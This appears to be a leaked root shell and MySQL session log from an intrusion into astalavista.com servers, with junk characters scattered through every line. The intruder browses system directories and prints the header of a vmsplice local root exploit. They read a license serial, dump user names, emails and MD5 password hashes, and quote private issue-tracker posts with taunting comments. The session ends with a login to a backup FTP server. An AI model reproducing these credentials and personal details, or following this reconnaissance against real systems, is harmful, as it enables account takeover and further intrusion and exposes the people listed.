* n+ M) e8 m. |5 g1 d I9 L& r$ R& Ash-3.2# cd com \; w- |8 b- a, i) o
sh-3.2# ls -la2 E" E$ b9 G5 ~8 H: ]
total 141208
7 z7 Q/ Q! \+ S6 P: f" X7 Q) u' vdrwx–x–x 10 com com 4096 Apr 28 12:40 .
; v% t9 ^! x( x( j9 @, edrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
: @! i; m1 w8 u$ X/ U9 c K! `4 ldrwx—— 2 com com 4096 Jun 4 04:04 backups: ?8 h6 x5 g: m4 _
-rw-r–r– 1 root root 2419504 Sep 28 2007 backup.sql
) G) {* k m. i& [( b3 @drwxr-xr-x 2 com com 4096 May 12 15:20 backup_system
/ R5 _/ Q: `6 C/ G! ]-rw——- 1 com com 21880 Jun 2 08:07 .bash_history9 H8 M6 C1 j9 u$ x% w
-rw-r–r– 1 com com 24 Sep 24 2007 .bash_logout8 l4 i5 e3 V% Y1 `2 F9 ]. n
-rw-r–r– 1 com com 176 Sep 24 2007 .bash_profile
( J0 s* e( c ^. Y-rw-r–r– 1 com com 124 Sep 24 2007 .bashrc( a; |: B' P1 Q$ U/ ]4 K$ T
drwx–x–x 3 com com 4096 Jan 29 2008 domains
2 b6 a* x. D& X {: ^ }" f$ e-rw-r–r– 1 com com 16409 Jul 16 2008 FWUser.class.php.fixed
- s6 h- _1 {" j, S* Z, Wdrwxrwx— 3 com mail 4096 Jan 6 19:24 imap* Z/ R/ C6 G) I
-rw——- 1 com com 69 Nov 18 2008 .lesshst# \+ Y# Q( y8 o
drwx—— 2 com com 4096 Sep 24 2007 mail# a% |; u5 `; A( r
-rw——- 1 com com 13970 Mar 28 21:42 .mysql_history- Y" B v4 P# j1 a3 T$ r h7 g: j
drwxr-xr-x 2 com com 4096 Aug 20 2008 .ncftp5 r9 T* P+ s0 p; F7 Q2 G+ V2 u4 J4 `
lrwxrwxrwx 1 com com 37 Sep 24 2007 public_html -> ./domains/astalavista.com/public_html
- j) T& ]( R. E8 V) l9 u-rw-r—– 1 com mail 34 Sep 24 2007 .shadow
: h6 B* `- j% ^5 p* Sdrwx—— 2 com com 4096 Aug 26 2008 .ssh3 t$ A- p" e) e0 ^# q6 L
-rwx—— 1 com com 8515 Feb 10 2008 t
1 e L! ?; E B0 M0 l-rw-rw-r– 1 com com 6265 Feb 11 2008 t.c
+ V# h- C1 k& p& M$ `* {drwxrwxr-x 2 com com 4096 Jan 30 15:47 tmp
7 i x* i$ W7 ~-rw-rw-r– 1 com com 617 May 20 2008 .toprc+ J8 i8 r5 K, v2 b6 p
-rw-rw-r– 1 com com 141851766 May 19 2008 version2-backup-20080519-0900.sql
! N" n$ E8 E; k2 l: R/ S/ x8 W-rw——- 1 com com 16629 Mar 28 21:46 .viminfo. R1 f0 g$ v; U8 k+ P. `, q! D
-rw-rw-r– 1 com com 51 Aug 25 2008 .vimrc1 e, L, L" Z3 B2 q7 v. ^
& f! t( v$ S! J; _$ w3 F
sh-3.2# head t.c" |, B; J$ G( D4 I$ Y: K( C
/*
: \: T' }* c {- P" g2 ~* jessica_biel_naked_in_my_bed.c% m0 F) A( I3 {. u" t7 }. i- A& Z
*, x5 x" q8 B4 I9 `
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.. k+ }2 x4 |; ]! r' Q
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.* }. J5 A! a' ?+ {
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
/ G' u% k2 x+ J% j$ e*
- ^6 U/ {6 W, L* Linux vmsplice Local Root Exploit5 K9 U v( P' O" S- V
* By qaaz& `5 A- b% f/ i2 h- o' S9 ^( z. B
*
$ h2 k4 g+ e1 V6 l2 P& z$ A/ |7 O! u& s$ H$ \" ]0 r
sh-3.2# cd /9 H8 V, B3 i8 s' A$ ]1 T$ s
sh-3.2# ls -la/ U7 M9 S0 X- F6 e3 u
total 360
7 ?6 }' a& o, W) w' @drwxr-xr-x 25 root root 4096 Jun 3 02:43 .
9 Y* ~/ X6 G" z9 ~( Vdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
" S0 f3 i7 B% [+ E0 D& G1 O-rw——- 1 root root 10240 Jun 3 02:39 aquota.group
* Q9 L7 n, z! I1 p2 }1 H-rw——- 1 root root 10240 Jun 3 02:39 aquota.user" {: T% p# J: h7 D0 O2 Z
-rw-r—– 1 root root 819 Jul 17 2008 astalavista.us.db1 x R- h5 Y0 W: @3 e5 z0 h
-rw-r–r– 1 root root 0 Jun 3 02:43 .autofsck
; y' D& X2 ]0 z2 ]2 s9 y-rw-r–r– 1 root root 0 Sep 16 2007 .autorelabel
- ^- z0 x B+ c. Edrwxr-xr-x 3 root root 4096 Dec 29 2007 backup$ Q3 R4 R' v" U& [# i3 [% r
drwxr-xr-x 2 root root 4096 Jun 4 04:03 bin
, c3 Z2 l$ K. D% Qdrwxr-xr-x 5 root root 4096 Jun 2 14:06 boot
! ^( h( k) |1 ?9 C8 @9 f3 ~drwxr-xr-x 11 root root 3620 Jun 3 02:43 dev0 o! C! C# }) X/ h, V' D
drwxr-xr-x 84 root root 12288 Jun 4 03:16 etc
0 ^, V7 H2 n5 `8 w; c' Ydrwxr-xr-x 14 root root 4096 Mar 11 17:56 home, x9 j* G+ g, u( s4 N/ l8 [( W& t7 F
-rw-r–r– 1 root root 13387 Mar 20 2008 httpd.conf9 I1 \. C# }3 r$ X. f N4 S
drwxr-xr-x 11 root root 4096 Jun 4 04:02 lib
9 J# {8 N) ~3 e# |& `, b6 Idrwxr-xr-x 7 root root 4096 Jun 4 04:03 lib64
* |5 @" Q x8 v! h$ idrwx—— 2 root root 16384 Sep 11 2007 lost+found
9 U$ H' D2 ~. U9 \4 |, a% y+ Hdrwxr-xr-x 2 root root 4096 Mar 11 17:56 media
1 |' C) F5 J' h; i- o8 ?, mdrwxr-xr-x 2 root root 0 Jun 3 02:43 misc
1 a( ~2 d& K9 f5 Sdrwxr-xr-x 2 root root 4096 Mar 11 17:56 mnt! R$ ]) R* \$ i; H
-rw-r–r– 1 root root 5859 Feb 3 2008 mrtg.cfg5 S$ j$ |+ T$ i: v" J' x* @
drwxr-xr-x 2 root root 0 Jun 3 02:43 net! t" |$ i0 I7 x% B
drwxr-xr-x 3 root root 4096 Mar 11 17:56 opt) Y8 J6 V. }1 Y7 g
dr-xr-xr-x 264 root root 0 Jun 3 02:42 proc$ t- f3 i8 E, B7 @2 u
drwxr-x— 15 root root 4096 Jun 4 08:40 root1 ]0 I5 M! i' j
drwxr-xr-x 2 root root 12288 Jun 4 04:03 sbin7 x7 [) W: S2 E$ o; k, [
drwxr-xr-x 2 root root 4096 Mar 11 17:56 selinux+ t. g2 ^" H6 y
drwxr-xr-x 2 root root 4096 Mar 11 17:56 srv3 Y: `( D+ o: V8 l5 [; C+ P' K
drwxr-xr-x 11 root root 0 Jun 3 02:42 sys
7 y% D3 u8 Q1 j8 ?7 |drwxrwxrwt 4 root root 122880 Jun 4 10:35 tmp L& @( ~6 K+ J
drwxr-xr-x 16 root root 4096 Jun 2 13:56 usr: P, v" \( v+ `% G
drwxr-xr-x 26 root root 4096 Jun 4 03:16 var
9 H) ?7 D! s3 V0 a6 M# q' X% e: ^/ G1 j! ?
sh-3.2# cd opt
9 v5 Z& K7 [3 G: Z `: ?, Msh-3.2# ls -la
) j7 [$ t5 U- R3 K# _, C: I# itotal 20
. {4 a2 Q. J8 e! Cdrwxr-xr-x 3 root root 4096 Mar 11 17:56 .* a' T4 U# G' X
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
; B2 Z3 S& d* Vdrwxr-xr-x 15 root root 4096 Mar 20 2008 lsws
5 k5 Z; N6 D3 R3 A& W( r0 K4 U, Q5 U1 b2 d1 i
sh-3.2# cd lsws/; b2 X) m z7 I
sh-3.2# ls -la
: V6 S4 T4 D3 R' C) `total 108! `; G# l9 D3 Y. A3 K
drwxr-xr-x 15 root root 4096 Mar 20 2008 .% @' Y7 p4 F9 x' Y( X3 P
drwxr-xr-x 3 root root 4096 Mar 11 17:56 ..6 v% i0 w& {6 j, N
drwxr-xr-x 8 root root 4096 Mar 20 2008 add-ons% Q2 O' @/ g! }
drwxr-xr-x 13 root root 4096 May 29 15:10 admin! Z. S6 ~0 i4 V, [! @5 U6 T0 n% y
drwxr-xr-x 5 apache apache 4096 May 29 15:10 autoupdate( G' J! D4 `+ n- ~
drwxr-xr-x 2 root root 4096 May 29 15:10 bin
G, E) j, W! {; Edrwx—— 4 apache apache 4096 Jun 3 02:43 conf
; X- j3 j R E* F% jdrwxr-xr-x 7 apache apache 4096 Mar 20 2008 DEFAULT1 l' ]8 O: X- ~ `9 g7 G" z1 C8 B e
drwxr-xr-x 2 root root 4096 Sep 15 2008 docs
# \" t. K8 R$ n! T8 U0 O2 e: pdrwxr-xr-x 2 root root 4096 May 29 15:10 fcgi-bin
! e, M4 }( U7 edrwxr-xr-x 2 root root 4096 Sep 15 2008 lib% X1 z$ S; C: q% N4 L
-rw-r–r– 1 root root 6959 May 29 15:10 LICENSE
( e' E0 z$ n& M+ z. Y) i4 p-rw-r–r– 1 root root 2214 May 29 15:10 LICENSE.OpenLDAP
+ K2 h- O4 O/ j, W, B \-rw-r–r– 1 root root 6279 May 29 15:10 LICENSE.OpenSSL
( i0 M; X4 x4 r1 z6 [* n/ T% z-rw-r–r– 1 root root 3208 May 29 15:10 LICENSE.PHP) k6 n, B/ H6 S4 [4 k3 T( r
drwxr-xr-x 2 root root 20480 Jun 4 09:55 logs. t! U4 v0 }* }/ Y/ @$ j9 u
drwxr-xr-x 2 root root 4096 Mar 20 2008 php
( y+ @7 }7 N( s" c+ Xdrwx—— 2 apache apache 4096 Mar 20 2008 phpbuild
9 t% s0 ?, e; O+ I% Kdrwxr-xr-x 3 root root 4096 Mar 20 2008 share
' q' {$ q! j' k$ o4 E-rw-r–r– 1 root root 6 May 29 15:10 VERSION" Z4 B) t0 i* n8 b7 n
6 K+ S% c3 y& e- @2 ~9 ^+ A
sh-3.2# cd conf( u! j/ A+ l+ N, O2 z* N9 o
sh-3.2# ls -la- U( G% H5 ~7 P, b2 K/ C
total 48
; N' [# S9 s- b" c Y- vdrwx—— 4 apache apache 4096 Jun 3 02:43 .
! W- e7 S; ^+ |! [9 |' @. k( ndrwxr-xr-x 15 root root 4096 Mar 20 2008 ..
1 F! }) g2 n6 l% e0 F3 W, ~drwx—— 2 apache apache 4096 Mar 20 2008 cert
$ c/ b7 |/ m0 m4 Z$ E-rw-r–r– 1 apache apache 6668 May 29 15:13 httpd_config.xml
0 A$ M7 E7 ^( ?& B-rw——- 1 apache apache 6613 May 27 18:33 httpd_config.xml.bak! c0 C R5 m' ]1 ]0 A- a' q! I
-rw-r–r– 1 root apache 0 Jun 3 14:11 .last
! p+ _2 b% U; a% v& H" m-rw——- 1 apache apache 256 May 29 15:10 license.key
' }; O2 E+ N" F6 k-rw——- 1 apache apache 256 Mar 21 2008 license.key.old+ \9 a& ~1 U$ ^* v1 O% Y
-rw——- 1 apache apache 3320 Mar 20 2008 mime.properties
w4 G1 n" H- h# h/ K3 r-rw——- 1 apache apache 20 May 29 15:10 serial.no# _: r1 `3 X5 s1 I0 k5 c
drwx—— 2 apache apache 4096 Mar 20 2008 templates
, B! X, m* ~* `/ h v# w) }
( a8 n0 H7 Z& P7 ?sh-3.2# cat serial.no& x8 T+ _8 F8 @ f1 F8 @) h
IbDl-oVsO-CKqL-wVRa. o7 j4 f: [3 ^: r) q) }( l+ X
$ \+ R3 p9 r. O1 w- X. ysh-3.2# mysql7 B. m/ [; N, C) Y; \. G# v# v
Welcome to the MySQL monitor. Commands end with ; or \g.
2 w" b% z& q; M8 q. nYour MySQL connection id is 286844/ A. e2 Q- H8 {
Server version: 5.0.45-community-log MySQL Community Edition (GPL)/ |6 p/ q1 U$ i0 e
3 w1 \/ }$ U$ W( B! L
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.0 q c: _0 T% b7 r, j n$ _7 j
% ?% K5 Y( _/ Q
mysql> show databases;- t8 k: a/ k: n" J- }. v O! k
+———————–+
; G0 \, i" z ^2 X+ {7 R2 X| Database |
6 d- `& S" m( Y% N+———————–+3 _+ e8 w! s2 }. L5 k
| information_schema |, m& E! W5 n# W8 ?1 W& k: G
| astanet_ads |5 S2 i& x5 u' }* [2 L7 u/ @
| astanet_mailing_lists |# y: ?- S" F* f1 r- \, N( U: t
| astanet_mediawiki |
* [! @( E& ?. K| astanet_membersystem |1 x1 E' b T& O3 `& a
| com_contrexx |- c% \4 c" ?" o$ B2 V, S Y3 f
| com_contrexx2 |$ Y% w0 p( [- [6 w+ |! \" P
| com_contrexx2_live |
' ~) X8 J& f K2 Z+ e| da_roundcube |
9 @. j: S0 s( h/ P0 M* E2 G( D| dolphin |
% h/ L) y% \& J4 X- g: j| ideapool |7 c4 S& H9 s5 k0 d3 N! k
| mysql | V! a; B5 p5 G5 e
| test |
' N5 O+ Y% G6 j/ _5 K* {, m" L| yourmaster |: Z$ u' e/ ^0 w# n! ~3 e
+———————–+
; N8 q9 \" C5 y! q1 z0 K14 rows in set (0.00 sec)6 a6 x9 M ?9 ]
5 f( x$ c* R. a* f. k- m
mysql> use ideapool, h: P% o8 {, k, M. C, I+ ?9 p3 S
Database changed) |) k- F3 n+ A3 x3 R% B
mysql> show tables;! F! q; Q! f. \/ v+ k ^
+———————————–+
- k! ?$ B% }! P% x9 }" p| Tables_in_ideapool |8 d$ p) `3 Q8 u* [0 |/ f a
+———————————–+
4 t- W/ c. }: E, h d# f| eventum_columns_to_display |
% {5 Y6 P! ~0 U| eventum_custom_field | T8 L# ^# d3 g
| eventum_custom_field_option |$ d9 ~& _3 J6 Q. w: c- q5 v
| eventum_custom_filter |+ ] J& l- i- S! o; D0 r0 z! \
| eventum_customer_account_manager |
|, r4 g+ j7 `. Z5 M) v1 u }| eventum_customer_note |3 b8 K, b e) q
| eventum_email_account |7 p0 V1 g! j1 N- s' {4 {
| eventum_email_draft |4 s4 L B* _4 V2 t4 y6 U, x( @
| eventum_email_draft_recipient |' B5 k1 h2 M% N3 V! ?5 ]
| eventum_email_response |
( s0 X& c$ i \$ o6 M8 y0 r+ @2 F| eventum_faq |
) u2 y3 [3 P+ H$ B5 h| eventum_faq_support_level |
- H5 ]" N6 j' q9 c8 u6 E| eventum_group |
. S1 n% D- B( s3 K| eventum_history_type |' E/ `: k) m% z# ^6 z4 U
| eventum_irc_notice |
) B4 L R8 L/ s5 t% ?( I| eventum_issue |
# Z% T/ F# ^6 J' v| eventum_issue_association | Y1 j j' `- F7 i. x
| eventum_issue_attachment |! u: ^" \0 \, }* X* k
| eventum_issue_attachment_file |9 a) h/ A! [8 o
| eventum_issue_checkin |
+ Z( c* F( G- z1 n| eventum_issue_custom_field |3 ]3 [: A# i+ Y3 r/ m
| eventum_issue_history |
( C" S5 G" F9 b |" R| eventum_issue_quarantine |
# i& |( y; Y: b6 x: b0 || eventum_issue_requirement |8 {% C; o" p9 j4 z. _0 Y: Z- g, G% s
| eventum_issue_user | ]8 w" Q. z, K' ]( c! b
| eventum_issue_user_replier |5 Y2 T8 ?- S! L5 N
| eventum_link_filter |8 Y& ^) |) E9 J4 U8 n4 @% l
| eventum_mail_queue |
m) w7 G& S }| eventum_mail_queue_log |- M) l: g/ _ g
| eventum_news |& c4 w- O+ d, z) T
| eventum_note |
7 o. g2 l3 L# k/ e+ @| eventum_phone_support |
' _2 Q0 P) H3 ]# d% [ n| eventum_project |
: c# L* B! R$ W6 Y! E- c| eventum_project_category |
1 E7 g( Z+ Q; ?" z& j8 T6 f; R4 r| eventum_project_custom_field |: @- c2 r; e$ _7 f8 J! g9 _6 s
| eventum_project_email_response |
- _, g' d6 n& i4 \* l, G. D: P| eventum_project_field_display |& o* Y7 [9 {7 _
| eventum_project_group |
+ k3 K& ~. d" W| eventum_project_link_filter |9 q* X4 N' r& \7 V! }. A3 v
| eventum_project_news |
- \7 p! @ G d5 l" l| eventum_project_phone_category |+ I. i5 u+ L) U$ {2 w# Z8 w
| eventum_project_priority |
: a" G4 G7 b% D2 I$ I5 d7 X| eventum_project_release |
+ \+ l. n; p: X/ q! W3 m| eventum_project_round_robin |# h( u7 A7 H/ J& V9 t3 B1 \3 ~
| eventum_project_status |) y+ w6 `0 {5 n! U& D$ Y: ]5 p* \
| eventum_project_status_date |8 h! Z$ Q" K! Z9 n# b" j
| eventum_project_user |& C+ c+ P7 U% d0 C
| eventum_reminder_action |
' N$ y7 h/ g5 l5 k| eventum_reminder_action_list |6 ` o, U# N b$ v. x
| eventum_reminder_action_type |- a' u2 }3 G" w4 m- o4 K
| eventum_reminder_field |
" m/ l) X% O" W# ^* B# ^( a| eventum_reminder_history |) N$ t, U& B: {2 y" R/ c, M( c6 K
| eventum_reminder_level |
! C' o& ]' O3 w* R| eventum_reminder_level_condition |) M+ H r7 f* `4 j5 X
| eventum_reminder_operator |
! \/ ^- r$ W& x! \/ \| eventum_reminder_priority |
% v4 A1 b( C$ B4 j) j4 r, `9 E| eventum_reminder_requirement |# }5 g- @/ g% T6 T7 h8 [
| eventum_reminder_triggered_action |
! g9 _( F+ A( ]+ U& [( w, g| eventum_resolution |
" b! b8 T5 g9 z% r7 w| eventum_round_robin_user |8 E8 K1 i4 M/ `9 N6 J/ j' W1 x
| eventum_search_profile |0 j+ _, q, r; a* N2 m/ O' C
| eventum_status |4 q8 C# s" }5 f3 d& _4 i. L( U
| eventum_subscription |) y. w; U9 @, m' A
| eventum_subscription_type |
. V; N, a# c6 d9 t5 C: I; C$ l| eventum_support_email |* X, ~! ^3 K' b: v5 t* P- E
| eventum_support_email_body |% j# K, d/ a6 b8 s
| eventum_time_tracking |
: n7 r: W7 h# R. @| eventum_time_tracking_category |
5 B: s- ~+ {/ p8 M8 Z| eventum_user |
) O9 m1 M& _0 R: Z; o3 o+———————————–+
* H7 P, \' I7 {2 B! Y) l1 g69 rows in set (0.00 sec); p! D# _/ C: C4 t, v3 O
1 T: k6 l: l. A" j6 e# s# P. m
mysql> describe eventum_user;5 k: w* s7 g) W% {
+————————-+——————+——+—–+———————+—————-+
9 e; f( @+ W* c1 T h( C| Field | Type | Null | Key | Default | Extra |
* q# ~/ f/ v$ z8 B! {* S) i+————————-+——————+——+—–+———————+—————-+/ W) L* n6 r# Z# }( j
| usr_id | int(11) unsigned | NO | PRI | NULL | auto_increment |
8 ^6 c" b! A" C; c9 P| usr_grp_id | int(11) unsigned | YES | MUL | NULL | |
# O1 g% {9 Z! ?| usr_customer_id | int(11) unsigned | YES | | NULL | |" X y; [, y9 h1 B
| usr_customer_contact_id | int(11) unsigned | YES | | NULL | |% J- m9 O% m S# ]$ C$ \) ?' u+ a
| usr_created_date | datetime | NO | | 0000-00-00 00:00:00 | |6 I$ w. d3 m* J5 I7 M9 r7 G
| usr_status | varchar(8) | NO | | active | |
' X8 }; ^' |8 z6 b2 k# F| usr_password | varchar(32) | NO | | | | _8 M- G2 p$ Q F( W1 f& T
| usr_full_name | varchar(255) | NO | | | |
7 _# z: [; r( q. K$ Z5 M/ e1 o| usr_email | varchar(255) | NO | UNI | | |
; v) }$ t0 T* H0 N7 r% h| usr_preferences | longtext | YES | | NULL | |
8 c5 B. K. d) e$ d- v| usr_sms_email | varchar(255) | YES | | NULL | |! R3 X" _& E4 {* ^ f$ k
| usr_clocked_in | tinyint(1) | YES | | 0 | |9 V' @6 ?* z( c! m; d: X
| usr_lang | varchar(5) | YES | | NULL | |! Q8 w4 u! [2 x
+————————-+——————+——+—–+———————+—————-+) ^; @, c, b' W# u, J$ Q
13 rows in set (0.00 sec)0 z2 V* J( C: f$ a% g) e
2 g+ r' x$ X' O% f. f& I: X( Pmysql> select usr_full_name,usr_email,usr_password from eventum_user;' f# h. d/ p/ W* o1 H( u
+———————-+——————————-+———————————-+0 b% g7 x5 U0 U( S* b5 D3 I- ]
| usr_full_name | usr_email | usr_password |6 h: s/ c- b6 [
+———————-+——————————-+———————————-+
U8 ?" C! ]% g6 i+ b| system | 链接标记system-account@example.com | 14589714398751513457adf349173434 |
8 [& Z# s, r& b9 P6 K| Developer (Paulo) | 链接标记paulo.santos@astalavista.ch | 26a35a1cf8895c27fb37ef4cf149f7bb |3 ?) l6 o0 s) b8 n6 L2 ~) a/ i
| Be1er0ph0r | 链接标记be1er0ph0r@gmx.de | 229766dc0ca1fb67160a8782321dfdce |( P* ^) U* {7 g7 X) w6 z5 c; R
| Admin | 链接标记pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |
# ]( o% h# V% j, p| ADMIN | 链接标记admin@astalavista.ch | f6fdffe48c908deb0f4c3bd36c032e72 |
( j- G h4 G6 k8 u* W+ p8 C- c| USER | 链接标记user@astalavista.ch | 5cc32e366c87c4cb49e4309b75f57d64 |- c6 U7 F) b& R1 i5 f. h" r
| Glafkos - (nowayout) | 链接标记glafkos@astalavista.com | f7735ab119023a8abb2301e67f81cd67 |
0 {- b- W2 Z+ P2 W| Joao | 链接标记joao.pontes@astalavista.net | f805c071d7c823b937448c54c047b9fd |# x* k K3 d) S% s' E( q8 y
| Pascal | 链接标记pm@astalavista.ch | e10adc3949ba59abbe56e057f20f883e |
. E( Y/ g( i5 C| commander | 链接标记commander@astalavista.com | 932cd250918f881d41feb0b93883a926 |
) g4 ^, G1 S' y9 ?: T| ishtus | 链接标记ishtus@astalavista.com | a587ffc88b3dbbba3fd2fe67af649ff0 |
" k( t$ G7 y! M| sykadul | 链接标记sykadul@astalavista.com | 20224a2f3eeb57a13a10b4df543c128e |- R+ ]5 ?, d2 m/ _! H9 [3 V; K
| Zach McElroy | 链接标记admin@badfoo.net | 33c5d4954da881814420f3ba39772644 |4 i$ q& T; z; H# J% u' m0 ~+ D6 M* }
| usb | 链接标记usbenigma@hushmail.com | b513f22c3db6932855ad732f5f8a10a2 |
|0 k6 z9 n; w/ H) U1 p9 f, X| cyph3r | 链接标记cyph3r@astalavista.com | 6e1e50017a945e874d52ec91f9ab2cee |+ t! w7 r! M, R3 P5 `
+———————-+——————————-+———————————-+
; x( _* k) P" X) ~15 rows in set (0.00 sec)1 z+ @/ Z& v, m# J5 z
+ W7 ?3 ^: w! T3 R; O) @; f
mysql> select iss_description from eventum_issue where iss_id = 43;9 w5 |2 x9 T6 }" _% e m: m: t
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+/ k; @! {2 u6 R
| iss_description
5 z6 y# b% f3 a6 H' B4 q- I|8 d$ q: s: E r- [! h) h
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
" d4 j4 v. J: j1 G' [6 l6 A| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be0 {* ~) b* O Z$ h
connected for 90 mins… 120mins… so what i propose is something like:
$ C3 i6 I ? V. s2 N" ]% P链接标记[url]http://www.surfthechannel.com/[/url]
- ~% z& [7 |. T+ a1 }2 |# S& y; gsince they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system
! ]- y! K! P1 p, H/ {like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t
" x1 S B# O3 lbreak any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off) L, v2 A0 L8 ]9 h; C8 x: A h
if they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA…
) L; f9 h% M1 N% L! Z
7 w. S5 C9 O9 i( Y8 i0 NWe could also put advertisement during play on the flash video player itself… extra $$…! H/ |8 I! f2 j7 U+ S, r
i' S3 N) L) O
By sykadul |6 P' p& a' v$ }6 m6 ?. w
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+5 k, c4 g0 U4 R% P! q# ?( _2 H `* J
1 row in set (0.00 sec)
( |! I3 x8 S. w; x( E/ L) V3 k' ~- B: K5 o- K4 ^& L% u
// Money and extra $$ is all they care about. remember that.
# e- `) T! V% m3 p q5 v) Q$ e3 {$ F0 L0 o
mysql> select iss_summary,iss_description from eventum_issue where iss_id =42;
. J. R$ Q7 b3 e+————————+——————————————————————————————————————————————————————————————————————————————-+
( Q& p! D& z5 D Z! z, R% t| iss_summary | iss_description : t* `( \# e! a
|
; A% ~" Z3 a) P. e+————————+——————————————————————————————————————————————————————————————————————————————-+
6 c# y/ t5 |# h4 B1 q| Forum for REAL EXPERTS | Hello,* v4 G! R6 W3 r8 P
0 r3 M; h1 g7 n5 t' {* IIshtus and I,
& Y& @1 R+ |- Q9 s( J8 |! A! P$ Z g4 f
Came up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide/ K3 y* F4 v- ^' k
ONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..) y# T) q: W- s) U% G7 P
- N7 H- e2 H+ I7 p; V% `One example a friend of mine from coresecurity.com!- S. a$ |# c; R. v" H. U! @" H" H, M
- q/ g1 U0 r7 U. `- r4 x7 ~We could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..2 ~' q# U& F6 b5 s% ~9 W
g) I+ B$ j9 F4 Q5 _/ `
|
' I3 h' e4 Q' I2 ]" ]; D! M$ F+————————+——————————————————————————————————————————————————————————————————————————————+5 m* |) [. [( z- X w' [) P, n
1 row in set (0.00 sec)+ Q3 y w) N' G) t/ j' ?% W, W
6 x/ ]/ Y7 C( Q- K/ e
// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…
3 A3 I8 R5 B% J- Q1 K6 d. ?* |& u* N8 O5 u4 u0 G. v- ? [
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;
7 e0 B, d5 g4 J+——————+———————————————————————————————+
0 j2 k1 e7 V) Q+ o( B| iss_summary | iss_description | _1 }& o* u3 d! }/ o2 P
+——————+———————————————————————————————+4 K* l. y* H% w v
| Website guidance | Virtual Girl which guides you trought the website.
7 P1 @' N$ j; ? G6 d/ A9 g) r3 K+ R9 B; B# X, j
We need a girl with who you can ( talk )!!!
& a# C! f' E7 M, `! C7 qAlso for the News!& ]" P! t6 X4 r
So my suggestion is a girl who read you the news loud if you like!0 U1 }* Q+ t- H7 n) M! _( `4 |
you can choose between read yourselfe or she read it for you or both!
4 J1 T7 w1 }/ r* U! u, z q( L0 Z9 z1 L4 b
Go to 链接标记[url]www.heise.de[/url]! There is an example for Voice News! It’s a good thing!!!
r7 Y5 H6 H5 ^) Y0 R
% q/ m% E: y0 A4 K( Z4 E+ GHave a look on the example girls!!& j# k, V, \& `6 A3 I
5 f u8 Q! J0 j( l$ K! B
链接标记[url]http://www.yaoti.com/de/free_yaoti.html[/url]
. ^7 r# @5 a: f( z) O: W
2 e% O" q3 g" R8 m' xor that. H/ D2 Y& ?8 _2 o. R0 f# W4 a' E5 t
( `" E/ Y1 H }6 Q- E链接标记[url]http://www.yellostrom.de/[/url]; ^7 X( i& A. s" T% H
. G% e' ~( B9 u6 n+ \4 c# K
|# u' S5 D" {; h2 ? u" H; d+ J' p% c
+——————+———————————————————————————————+
* O" N% L6 E- n" K+ Y1 row in set (0.00 sec)3 h- _. W& W- T- [3 W4 W* l
2 {! e( x. H9 m. ~& W// ha ha.
]* p$ P( p% C5 @! `, k% X
* G2 b$ C: x7 E1 q! v1 I8 |mysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;. M; p. Q, x |) N
+————————–+———————————————————————————————————–+
* r9 B! g4 @, R) p! L8 z1 M2 g| iss_summary | iss_description |
}" ~2 K$ r( ^: S7 R. \+————————–+———————————————————————————————————–+
* c9 e" q) x2 Z: y| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name. |
3 E/ T9 ^ ?1 F5 @- Z: F+————————–+———————————————————————————————————–+! C. ]' ~9 d* g, ^% i* p* V( w" v
1 row in set (0.00 sec)
1 }5 ]6 z# ]! m0 R6 i& ?. ?/ j0 c( w) l6 E
// LOL.5 S5 A( P& e# U) F6 o ]/ o" L3 E
7 A" W% C0 o- z9 `/ G% X* Qmysql> exit
! w4 M; V: a r# ]Bye8 w l+ H _8 ~
4 ~- @/ Y# Q6 ?. ]
sh-3.2# ftp 212.254.194.163
3 v5 [# B4 u- ?Connected to 212.254.194.163.
9 K3 J8 i" w! b8 y% X: i220 BackupCOM_VW FTP server ready.8 v2 }- F3 n# v, A1 X+ k8 y) _
504 AUTH: security mechanism ‘GSSAPI’ not supported.+ N0 _' m3 f2 a
504 AUTH: security mechanism ‘KERBEROS_V4′ not supported.
$ k- r, ?$ {6 V; u$ C8 T( NKERBEROS_V4 rejected as an authentication type
8 Y, {) x, x$ ?6 g. Y* x: z, Y8 L& sName (212.254.194.163:root): astalavista.com; I9 S2 B% j/ S, U" v
331 Password required for astalavista.com.0 O. O7 s7 v. ~* A
Password:
" s& t' ~) H2 E5 @& q6 O3 F+ Y! R- T230 User astalavista.com logged in.1 R3 z o# g: V( y9 B3 p4 `% c- Y' k
Remote system type is UNIX.
- }& A9 H# P9 K: J! tUsing binary mode to transfer files.
: C0 k& t/ r( K) _ftp> ls -la$ Y7 j* _% B; F4 S% \3 l
227 Entering Passive Mode (212,254,194,163,2,188)
8 h1 d. Y( D T4 }" n150 Opening BINARY mode data connection for ‘file list’.. {# `6 _0 h8 y
dr-x—— 1 root users 4096 Jun 4 06:13 astalavista.com/ f8 s. y$ d+ [) g* W1 k+ D. ?
226 Transfer complete.
( p% i: }; P; nftp> cd astalavista.com
2 U) }: K5 f1 b2 }# I250 CWD command successful.
; z+ N. M- V% G; M& iftp> ls -la# c% G; C& ?4 f- ]5 m0 }
